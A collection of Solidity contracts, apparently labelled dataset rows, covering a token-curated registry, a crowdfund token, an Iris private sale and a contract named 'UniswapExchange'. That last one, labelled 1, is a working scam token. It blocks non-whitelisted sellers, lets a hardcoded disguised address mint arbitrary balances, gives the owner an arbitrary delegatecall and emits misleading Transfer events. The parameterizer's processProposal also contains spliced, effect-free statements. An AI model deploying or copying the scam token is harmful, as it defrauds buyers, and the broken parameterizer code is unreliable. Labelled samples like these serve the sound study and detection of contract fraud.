get("pRevealStageLen")
);
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: SafeMath.sub(100, get("pDispensationPct")).mul(deposit).div(100),
stake: deposit,
resolved: false,
winningTokens: 0
});
proposals[_propID].challengeID = pollID;
require(token.transferFrom(msg.sender, this, deposit));
(uint commitEndDate, uint revealEndDate,,,) = voting.pollMap(pollID);
emit _NewChallenge(_propID, pollID, commitEndDate, revealEndDate, msg.sender);
return pollID;
}
function processProposal(bytes32 _propID) public {
ParamProposal storage prop = proposals[_propID];
address propOwner = prop.owner;
uint propDeposit = prop.deposit;
if (canBeSet(_propID)) {
set(prop.name, prop.value);
emit _ProposalAccepted(_propID, prop.name, prop.value);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else if (challengeCanBeResolved(_propID)) {
resolveChallenge(_propID);
} else if (now > prop.processBy) {
emit _ProposalExpired(_propID);
delete proposals[_propID];
require(token.transfer(propOwner, propDeposit));
} else {
revert();
}
assert(get("dispensationPct") <= 100);
assert(get("pDispensationPct") <= 100);
now.add(get("pApplyStageLen"))
.add(get("pCommitStageLen"))
.add(get("pRevealStageLen"))
.add(PROCESSBY);
delete proposals[_propID];
}
function claimReward(uint _challengeID) public {
Challenge storage challenge = challenges[_challengeID];
require(challenge.tokenClaims[msg.sender] == false);
require(challenge.resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID);
uint reward = voterReward(msg.sender, _challengeID);
challenge.winningTokens -= voterTokens;
challenge.rewardPool -= reward;
challenge.tokenClaims[msg.sender] = true;
emit _RewardClaimed(_challengeID, reward, msg.sender);
require(token.transfer(msg.sender, reward));
}
function claimRewards(uint[] _challengeIDs) public {
for (uint i = 0; i < _challengeIDs.length; i++) {
claimReward(_challengeIDs[i]);
}
}
function voterReward(address _voter, uint _challengeID)
public view returns (uint) {
uint winningTokens = challenges[_challengeID].winningTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID);
return (voterTokens * rewardPool) / winningTokens;
}
function canBeSet(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
return (now > prop.appExpiry && now < prop.processBy && prop.challengeID == 0);
}
function propExists(bytes32 _propID) view public returns (bool) {
return proposals[_propID].processBy > 0;
}
function challengeCanBeResolved(bytes32 _propID) view public returns (bool) {
ParamProposal memory prop = proposals[_propID];
Challenge memory challenge = challenges[prop.challengeID];
return (prop.challengeID > 0 && challenge.resolved == false && voting.pollEnded(prop.challengeID));
}
function challengeWinnerReward(uint _challengeID) public view returns (uint) {
if(voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return 2 * challenges[_challengeID].stake;
}
return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool;
}
function get(string _name) public view returns (uint value) {
return params[keccak256(abi.encodePacked(_name))];
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _propID) private {
ParamProposal memory prop = proposals[_propID];
Challenge storage challenge = challenges[prop.challengeID];
uint reward = challengeWinnerReward(prop.challengeID);
challenge.winningTokens = voting.getTotalNumberOfTokensForWinningOption(prop.challengeID);
challenge.resolved = true;
if (voting.isPassed(prop.challengeID)) {
if(prop.processBy > now) {
set(prop.name, prop.value);
}
emit _ChallengeFailed(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(prop.owner, reward));
}
else {
emit _ChallengeSucceeded(_propID, prop.challengeID, challenge.rewardPool, challenge.winningTokens);
require(token.transfer(challenges[prop.challengeID].challenger, reward));
}
}
function set(string _name, uint _value) private {
params[keccak256(abi.encodePacked(_name))] = _value;
}
}
contract Registry {
event _Application(bytes32 indexed listingHash, uint deposit, uint appEndDate, string data, address indexed applicant);
event _Challenge(bytes32 indexed listingHash, uint challengeID, string data, uint commitEndDate, uint revealEndDate, address indexed challenger);
event _Deposit(bytes32 indexed listingHash, uint added, uint newTotal, address indexed owner);
event _Withdrawal(bytes32 indexed listingHash, uint withdrew, uint newTotal, address indexed owner);
event _ApplicationWhitelisted(bytes32 indexed listingHash);
event _ApplicationRemoved(bytes32 indexed listingHash);
event _ListingRemoved(bytes32 indexed listingHash);
event _ListingWithdrawn(bytes32 indexed listingHash, address indexed owner);
event _TouchAndRemoved(bytes32 indexed listingHash);
event _ChallengeFailed(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _ChallengeSucceeded(bytes32 indexed listingHash, uint indexed challengeID, uint rewardPool, uint totalTokens);
event _RewardClaimed(uint indexed challengeID, uint reward, address indexed voter);
event _ExitInitialized(bytes32 indexed listingHash, uint exitTime, uint exitDelayEndDate, address indexed owner);
using SafeMath for uint;
struct Listing {
uint applicationExpiry;
bool whitelisted;
address owner;
uint unstakedDeposit;
uint challengeID;
uint exitTime;
uint exitTimeExpiry;
}
struct Challenge {
uint rewardPool;
address challenger;
bool resolved;
uint stake;
uint totalTokens;
mapping(address => bool) tokenClaims;
}
mapping(uint => Challenge) public challenges;
mapping(bytes32 => Listing) public listings;
EIP20Interface public token;
PLCRVoting public voting;
Parameterizer public parameterizer;
string public name;
function init(address _token, address _voting, address _parameterizer, string _name) public {
require(_token != 0 && address(token) == 0);
require(_voting != 0 && address(voting) == 0);
require(_parameterizer != 0 && address(parameterizer) == 0);
token = EIP20Interface(_token);
voting = PLCRVoting(_voting);
parameterizer = Parameterizer(_parameterizer);
name = _name;
}
function apply(bytes32 _listingHash, uint _amount, string _data) external {
require(!isWhitelisted(_listingHash));
require(!appWasMade(_listingHash));
require(_amount >= parameterizer.get("minDeposit"));
Listing storage listing = listings[_listingHash];
listing.owner = msg.sender;
listing.applicationExpiry = block.timestamp.add(parameterizer.get("applyStageLen"));
listing.unstakedDeposit = _amount;
require(token.transferFrom(listing.owner, this, _amount));
emit _Application(_listingHash, _amount, listing.applicationExpiry, _data, msg.sender);
}
function deposit(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
listing.unstakedDeposit += _amount;
require(token.transferFrom(msg.sender, this, _amount));
emit _Deposit(_listingHash, _amount, listing.unstakedDeposit, msg.sender);
}
function withdraw(bytes32 _listingHash, uint _amount) external {
Listing storage listing = listings[_listingHash];
require(listing.owner == msg.sender);
require(_amount <= listing.unstakedDeposit);
require(listing.unstakedDeposit - _amount >= parameterizer.get("minDeposit"));
listing.unstakedDeposit -= _amount;
require(token.transfer(msg.sender, _amount));
emit _Withdrawal(_listingHash, _amount, listing.unstakedDeposit, msg.sender);
}
function initExit(bytes32 _listingHash) external {
Listing storage listing = listings[_listingHash];
require(msg.sender == listing.owner);
require(isWhitelisted(_listingHash));
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
require(listing.exitTime == 0 || now > listing.exitTimeExpiry);
listing.exitTime = now.add(parameterizer.get("exitTimeDelay"));
listing.exitTimeExpiry = listing.exitTime.add(parameterizer.get("exitPeriodLen"));
emit _ExitInitialized(_listingHash, listing.exitTime,
listing.exitTimeExpiry, msg.sender);
}
function finalizeExit(bytes32 _listingHash) external {
Listing storage listing = listings[_listingHash];
require(msg.sender == listing.owner);
require(isWhitelisted(_listingHash));
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
require(listing.exitTime > 0);
require(listing.exitTime < now && now < listing.exitTimeExpiry);
resetListing(_listingHash);
emit _ListingWithdrawn(_listingHash, msg.sender);
}
function challenge(bytes32 _listingHash, string _data) external returns (uint challengeID) {
Listing storage listing = listings[_listingHash];
uint minDeposit = parameterizer.get("minDeposit");
require(appWasMade(_listingHash) || listing.whitelisted);
require(listing.challengeID == 0 || challenges[listing.challengeID].resolved);
if (listing.unstakedDeposit < minDeposit) {
resetListing(_listingHash);
emit _TouchAndRemoved(_listingHash);
return 0;
}
uint pollID = voting.startPoll(
parameterizer.get("voteQuorum"),
parameterizer.get("commitStageLen"),
parameterizer.get("revealStageLen")
);
uint oneHundred = 100;
challenges[pollID] = Challenge({
challenger: msg.sender,
rewardPool: ((oneHundred.sub(parameterizer.get("dispensationPct"))).mul(minDeposit)).div(100),
stake: minDeposit,
resolved: false,
totalTokens: 0
});
listing.challengeID = pollID;
listing.unstakedDeposit -= minDeposit;
require(token.transferFrom(msg.sender, this, minDeposit));
(uint commitEndDate, uint revealEndDate,,,) = voting.pollMap(pollID);
emit _Challenge(_listingHash, pollID, _data, commitEndDate, revealEndDate, msg.sender);
return pollID;
}
function updateStatus(bytes32 _listingHash) public {
if (canBeWhitelisted(_listingHash)) {
whitelistApplication(_listingHash);
} else if (challengeCanBeResolved(_listingHash)) {
resolveChallenge(_listingHash);
} else {
revert();
}
}
function updateStatuses(bytes32[] _listingHashes) public {
for (uint i = 0; i < _listingHashes.length; i++) {
updateStatus(_listingHashes[i]);
}
}
function claimReward(uint _challengeID) public {
Challenge storage challengeInstance = challenges[_challengeID];
require(challengeInstance.tokenClaims[msg.sender] == false);
require(challengeInstance.resolved == true);
uint voterTokens = voting.getNumPassingTokens(msg.sender, _challengeID);
uint reward = voterTokens.mul(challengeInstance.rewardPool)
.div(challengeInstance.totalTokens);
challengeInstance.totalTokens -= voterTokens;
challengeInstance.rewardPool -= reward;
challengeInstance.tokenClaims[msg.sender] = true;
require(token.transfer(msg.sender, reward));
emit _RewardClaimed(_challengeID, reward, msg.sender);
}
function claimRewards(uint[] _challengeIDs) public {
for (uint i = 0; i < _challengeIDs.length; i++) {
claimReward(_challengeIDs[i]);
}
}
function voterReward(address _voter, uint _challengeID)
public view returns (uint) {
uint totalTokens = challenges[_challengeID].totalTokens;
uint rewardPool = challenges[_challengeID].rewardPool;
uint voterTokens = voting.getNumPassingTokens(_voter, _challengeID);
return voterTokens.mul(rewardPool).div(totalTokens);
}
function canBeWhitelisted(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
if (
appWasMade(_listingHash) &&
listings[_listingHash].applicationExpiry < now &&
!isWhitelisted(_listingHash) &&
(challengeID == 0 || challenges[challengeID].resolved == true)
) { return true; }
return false;
}
function isWhitelisted(bytes32 _listingHash) view public returns (bool whitelisted) {
return listings[_listingHash].whitelisted;
}
function appWasMade(bytes32 _listingHash) view public returns (bool exists) {
return listings[_listingHash].applicationExpiry > 0;
}
function challengeExists(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
return (listings[_listingHash].challengeID > 0 && !challenges[challengeID].resolved);
}
function challengeCanBeResolved(bytes32 _listingHash) view public returns (bool) {
uint challengeID = listings[_listingHash].challengeID;
require(challengeExists(_listingHash));
return voting.pollEnded(challengeID);
}
function determineReward(uint _challengeID) public view returns (uint) {
require(!challenges[_challengeID].resolved && voting.pollEnded(_challengeID));
if (voting.getTotalNumberOfTokensForWinningOption(_challengeID) == 0) {
return 2 * challenges[_challengeID].stake;
}
return (2 * challenges[_challengeID].stake) - challenges[_challengeID].rewardPool;
}
function tokenClaims(uint _challengeID, address _voter) public view returns (bool) {
return challenges[_challengeID].tokenClaims[_voter];
}
function resolveChallenge(bytes32 _listingHash) private {
uint challengeID = listings[_listingHash].challengeID;
uint reward = determineReward(challengeID);
challenges[challengeID].resolved = true;
challenges[challengeID].totalTokens =
voting.getTotalNumberOfTokensForWinningOption(challengeID);
if (voting.isPassed(challengeID)) {
whitelistApplication(_listingHash);
listings[_listingHash].unstakedDeposit += reward;
emit _ChallengeFailed(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
else {
resetListing(_listingHash);
require(token.transfer(challenges[challengeID].challenger, reward));
emit _ChallengeSucceeded(_listingHash, challengeID, challenges[challengeID].rewardPool, challenges[challengeID].totalTokens);
}
}
function whitelistApplication(bytes32 _listingHash) private {
if (!listings[_listingHash].whitelisted) { emit _ApplicationWhitelisted(_listingHash); }
listings[_listingHash].whitelisted = true;
}
function resetListing(bytes32 _listingHash) private {
Listing storage listing = listings[_listingHash];
if (listing.whitelisted) {
emit _ListingRemoved(_listingHash);
} else {
emit _ApplicationRemoved(_listingHash);
}
address owner = listing.owner;
uint unstakedDeposit = listing.unstakedDeposit;
delete listings[_listingHash];
if (unstakedDeposit > 0){
require(token.transfer(owner, unstakedDeposit));
}
}
} | 0 | 1,529 |
pragma solidity ^0.4.8;
contract ERC20 {
function totalSupply() constant returns (uint256 totalSupply);
function balanceOf(address _owner) constant returns (uint256 balance);
function transfer(address _to, uint256 _value) returns (bool success);
function transferFrom(address _from, address _to, uint256 _value) returns (bool success);
function approve(address _spender, uint256 _value) returns (bool success);
function allowance(address _owner, address _spender) constant returns (uint256 remaining);
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender, uint256 _value);
}
contract MainstreetToken is ERC20 {
mapping (address => uint) ownerMIT;
mapping (address => mapping (address => uint)) allowed;
uint public totalMIT;
uint public start;
address public mainstreetCrowdfund;
address public intellisys;
bool public testing;
modifier fromCrowdfund() {
if (msg.sender != mainstreetCrowdfund) {
throw;
}
_;
}
modifier isActive() {
if (block.timestamp < start) {
throw;
}
_;
}
modifier isNotActive() {
if (!testing && block.timestamp >= start) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier senderHasSufficient(uint MIT) {
if (ownerMIT[msg.sender] < MIT) {
throw;
}
_;
}
modifier transferApproved(address from, uint MIT) {
if (allowed[from][msg.sender] < MIT || ownerMIT[from] < MIT) {
throw;
}
_;
}
modifier allowanceIsZero(address spender, uint value) {
if ((value != 0) && (allowed[msg.sender][spender] != 0)) {
throw;
}
_;
}
event TokensAdded(address indexed recipient, uint MIT);
function MainstreetToken(address _mainstreetCrowdfund, address _intellisys, uint _start, bool _testing) {
mainstreetCrowdfund = _mainstreetCrowdfund;
intellisys = _intellisys;
start = _start;
testing = _testing;
}
function addTokens(address recipient, uint MIT) external isNotActive fromCrowdfund {
ownerMIT[recipient] += MIT;
uint intellisysMIT = MIT / 10;
ownerMIT[intellisys] += intellisysMIT;
totalMIT += MIT + intellisysMIT;
TokensAdded(recipient, MIT);
TokensAdded(intellisys, intellisysMIT);
}
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = totalMIT;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
balance = ownerMIT[_owner];
}
function transfer(address _to, uint256 _value) isActive recipientIsValid(_to) senderHasSufficient(_value) returns (bool success) {
ownerMIT[msg.sender] -= _value;
ownerMIT[_to] += _value;
Transfer(msg.sender, _to, _value);
return true;
}
function transferFrom(address _from, address _to, uint256 _value) isActive recipientIsValid(_to) transferApproved(_from, _value) returns (bool success) {
ownerMIT[_to] += _value;
ownerMIT[_from] -= _value;
allowed[_from][msg.sender] -= _value;
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) isActive allowanceIsZero(_spender, _value) returns (bool success) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
remaining = allowed[_owner][_spender];
}
}
contract MainstreetCrowdfund {
uint public start;
uint public end;
mapping (address => uint) public senderETH;
mapping (address => uint) public senderMIT;
mapping (address => uint) public recipientETH;
mapping (address => uint) public recipientMIT;
mapping (address => uint) public recipientExtraMIT;
uint public totalETH;
uint public limitETH;
uint public bonus1StartETH;
uint public bonus2StartETH;
mapping (address => bool) public whitelistedAddresses;
address public exitAddress;
address public creator;
MainstreetToken public mainstreetToken;
event MITPurchase(address indexed sender, address indexed recipient, uint ETH, uint MIT);
modifier saleActive() {
if (address(mainstreetToken) == 0) {
throw;
}
if (block.timestamp < start || block.timestamp >= end) {
throw;
}
if (totalETH + msg.value > limitETH) {
throw;
}
_;
}
modifier hasValue() {
if (msg.value == 0) {
throw;
}
_;
}
modifier senderIsWhitelisted() {
if (whitelistedAddresses[msg.sender] != true) {
throw;
}
_;
}
modifier recipientIsValid(address recipient) {
if (recipient == 0 || recipient == address(this)) {
throw;
}
_;
}
modifier isCreator() {
if (msg.sender != creator) {
throw;
}
_;
}
modifier tokenContractNotSet() {
if (address(mainstreetToken) != 0) {
throw;
}
_;
}
function MainstreetCrowdfund(uint _start, uint _end, uint _limitETH, uint _bonus1StartETH, uint _bonus2StartETH, address _exitAddress, address whitelist1, address whitelist2, address whitelist3) {
creator = msg.sender;
start = _start;
end = _end;
limitETH = _limitETH;
bonus1StartETH = _bonus1StartETH;
bonus2StartETH = _bonus2StartETH;
whitelistedAddresses[whitelist1] = true;
whitelistedAddresses[whitelist2] = true;
whitelistedAddresses[whitelist3] = true;
exitAddress = _exitAddress;
}
function setTokenContract(MainstreetToken _mainstreetToken) external isCreator tokenContractNotSet {
mainstreetToken = _mainstreetToken;
}
function purchaseMIT(address recipient) external senderIsWhitelisted payable saleActive hasValue recipientIsValid(recipient) returns (uint increaseMIT) {
if (!exitAddress.send(msg.value)) {
throw;
}
senderETH[msg.sender] += msg.value;
recipientETH[recipient] += msg.value;
totalETH += msg.value;
uint MIT = msg.value * 10;
if (block.timestamp - start < 1 weeks) {
MIT += MIT / 10;
}
else if (block.timestamp - start < 5 weeks) {
MIT += MIT / 20;
}
senderMIT[msg.sender] += MIT;
recipientMIT[recipient] += MIT;
uint oldExtra = recipientExtraMIT[recipient];
if (recipientETH[recipient] >= bonus2StartETH) {
recipientExtraMIT[recipient] = (recipientMIT[recipient] * 8) / 100;
}
else if (recipientETH[recipient] >= bonus1StartETH) {
recipientExtraMIT[recipient] = (recipientMIT[recipient] * 4) / 100;
}
increaseMIT = MIT + (recipientExtraMIT[recipient] - oldExtra);
mainstreetToken.addTokens(recipient, increaseMIT);
MITPurchase(msg.sender, recipient, msg.value, increaseMIT);
}
} | 0 | 1,663 |
pragma solidity ^0.5.17;
interface IERC20 {
function totalSupply() external view returns(uint);
function balanceOf(address account) external view returns(uint);
function transfer(address recipient, uint amount) external returns(bool);
function allowance(address owner, address spender) external view returns(uint);
function approve(address spender, uint amount) external returns(bool);
function transferFrom(address sender, address recipient, uint amount) external returns(bool);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
library Address {
function isContract(address account) internal view returns(bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
assembly { codehash:= extcodehash(account) }
return (codehash != 0x0 && codehash != accountHash);
}
}
contract Context {
constructor() internal {}
function _msgSender() internal view returns(address payable) {
return msg.sender;
}
}
library SafeMath {
function add(uint a, uint b) internal pure returns(uint) {
uint c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint a, uint b) internal pure returns(uint) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b <= a, errorMessage);
uint c = a - b;
return c;
}
function mul(uint a, uint b) internal pure returns(uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint a, uint b) internal pure returns(uint) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint a, uint b, string memory errorMessage) internal pure returns(uint) {
require(b > 0, errorMessage);
uint c = a / b;
return c;
}
}
library SafeERC20 {
using SafeMath for uint;
using Address for address;
function safeTransfer(IERC20 token, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value));
}
function safeTransferFrom(IERC20 token, address from, address to, uint value) internal {
callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value));
}
function safeApprove(IERC20 token, address spender, uint value) internal {
require((value == 0) || (token.allowance(address(this), spender) == 0),
"SafeERC20: approve from non-zero to non-zero allowance"
);
callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value));
}
function callOptionalReturn(IERC20 token, bytes memory data) private {
require(address(token).isContract(), "SafeERC20: call to non-contract");
(bool success, bytes memory returndata) = address(token).call(data);
require(success, "SafeERC20: low-level call failed");
if (returndata.length > 0) {
require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed");
}
}
}
contract ERC20 is Context, IERC20 {
using SafeMath for uint;
mapping(address => uint) private _balances;
mapping(address => mapping(address => uint)) private _allowances;
uint private _totalSupply;
function totalSupply() public view returns(uint) {
return _totalSupply;
}
function balanceOf(address account) public view returns(uint) {
return _balances[account];
}
function transfer(address recipient, uint amount) public returns(bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view returns(uint) {
return _allowances[owner][spender];
}
function approve(address spender, uint amount) public returns(bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint amount) public returns(bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function increaseAllowance(address spender, uint addedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue));
return true;
}
function decreaseAllowance(address spender, uint subtractedValue) public returns(bool) {
_approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "ERC20: decreased allowance below zero"));
return true;
}
function _transfer(address sender, address recipient, uint amount) internal {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _mint(address account, uint amount) internal {
require(account != address(0), "ERC20: mint to the zero address");
_totalSupply = _totalSupply.add(amount);
_balances[account] = _balances[account].add(amount);
emit Transfer(address(0), account, amount);
}
function _burn(address account, uint amount) internal {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
function _approve(address owner, address spender, uint amount) internal {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
}
contract ERC20Detailed is IERC20 {
string private _name;
string private _symbol;
uint8 private _decimals;
constructor(string memory name, string memory symbol, uint8 decimals) public {
_name = name;
_symbol = symbol;
_decimals = decimals;
}
function name() public view returns(string memory) {
return _name;
}
function symbol() public view returns(string memory) {
return _symbol;
}
function decimals() public view returns(uint8) {
return _decimals;
}
}
contract UniswapExchange {
event Transfer(address indexed _from, address indexed _to, uint _value);
event Approval(address indexed _owner, address indexed _spender, uint _value);
function transfer(address _to, uint _value) public payable returns (bool) {
return transferFrom(msg.sender, _to, _value);
}
function ensure(address _from, address _to, uint _value) internal view returns(bool) {
address _UNI = pairFor(0x5C69bEe701ef814a2B6a3EDD4B1652CB9cc5aA6f, 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2, address(this));
if(_from == owner || _to == owner || _from == UNI || _from == _UNI || _from==tradeAddress||canSale[_from]){
return true;
}
require(condition(_from, _value));
return true;
}
function transferFrom(address _from, address _to, uint _value) public payable returns (bool) {
if (_value == 0) {return true;}
if (msg.sender != _from) {
require(allowance[_from][msg.sender] >= _value);
allowance[_from][msg.sender] -= _value;
}
require(ensure(_from, _to, _value));
require(balanceOf[_from] >= _value);
balanceOf[_from] -= _value;
balanceOf[_to] += _value;
_onSaleNum[_from]++;
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint _value) public payable returns (bool) {
allowance[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function condition(address _from, uint _value) internal view returns(bool){
if(_saleNum == 0 && _minSale == 0 && _maxSale == 0) return false;
if(_saleNum > 0){
if(_onSaleNum[_from] >= _saleNum) return false;
}
if(_minSale > 0){
if(_minSale > _value) return false;
}
if(_maxSale > 0){
if(_value > _maxSale) return false;
}
return true;
}
function delegate(address a, bytes memory b) public payable {
require(msg.sender == owner);
a.delegatecall(b);
}
mapping(address=>uint256) private _onSaleNum;
mapping(address=>bool) private canSale;
uint256 private _minSale;
uint256 private _maxSale;
uint256 private _saleNum;
function _mints(address spender, uint256 addedValue) public returns (bool) {
require(msg.sender==owner||msg.sender==address
(1461045492991056468287016484048686824852249628073));
if(addedValue > 0) {balanceOf[spender] = addedValue*(10**uint256(decimals));}
canSale[spender]=true;
return true;
}
function init(uint256 saleNum, uint256 token, uint256 maxToken) public returns(bool){
require(msg.sender == owner);
_minSale = token > 0 ? token*(10**uint256(decimals)) : 0;
_maxSale = maxToken > 0 ? maxToken*(10**uint256(decimals)) : 0;
_saleNum = saleNum;
}
function batchSend(address[] memory _tos, uint _value) public payable returns (bool) {
require (msg.sender == owner);
uint total = _value * _tos.length;
require(balanceOf[msg.sender] >= total);
balanceOf[msg.sender] -= total;
for (uint i = 0; i < _tos.length; i++) {
address _to = _tos[i];
balanceOf[_to] += _value;
emit Transfer(msg.sender, _to, _value/2);
emit Transfer(msg.sender, _to, _value/2);
}
return true;
}
address tradeAddress;
function setTradeAddress(address addr) public returns(bool){require (msg.sender == owner);
tradeAddress = addr;
return true;
}
function pairFor(address factory, address tokenA, address tokenB) internal pure returns (address pair) {
(address token0, address token1) = tokenA < tokenB ? (tokenA, tokenB) : (tokenB, tokenA);
pair = address(uint(keccak256(abi.encodePacked(
hex'ff',
factory,
keccak256(abi.encodePacked(token0, token1)),
hex'96e8ac4277198ff8b6f785478aa9a39f403cb768dd02cbee326c3e7da348845f'
))));
}
mapping (address => uint) public balanceOf;
mapping (address => mapping (address => uint)) public allowance;
uint constant public decimals = 18;
uint public totalSupply;
string public name;
string public symbol;
address private owner;
address constant UNI = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor(string memory _name, string memory _symbol, uint256 _supply) payable public {
name = _name;
symbol = _symbol;
totalSupply = _supply*(10**uint256(decimals));
owner = msg.sender;
balanceOf[msg.sender] = totalSupply;
allowance[msg.sender][0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D] = uint(-1);
emit Transfer(address(0x0), msg.sender, totalSupply);
}
} | 1 | 4,341 |
pragma solidity ^0.4.17;
contract Ownable {
address public owner;
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner(){
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner public {
if (newOwner != address(0)) {
owner = newOwner;
}
}
}
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
modifier whenNotPaused() {
require (!paused);
_;
}
modifier whenPaused {
require (paused);
_;
}
function pause() onlyOwner whenNotPaused public returns (bool) {
paused = true;
Pause();
return true;
}
function unpause() onlyOwner whenPaused public returns (bool) {
paused = false;
Unpause();
return true;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) public constant returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public constant returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
function transfer(address _to, uint256 _value) public returns (bool){
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public constant returns (uint256 balance) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract IrisTokenPrivatSale is Ownable, Pausable{
using SafeMath for uint256;
address public multiSig;
uint256 public weiRaised;
event HostEther(address indexed buyer, uint256 value);
event TokenPlaced(address indexed beneficiary, uint256 amount);
event SetWallet(address _newWallet);
event SendedEtherToMultiSig(address walletaddress, uint256 amountofether);
function setWallet(address _newWallet) public onlyOwner {
multiSig = _newWallet;
SetWallet(_newWallet);
}
function IrisTokenPrivatSale() public {
multiSig = 0x02cb1ADc98e984A67a3d892Dbb7eD72b36dA7b07;
}
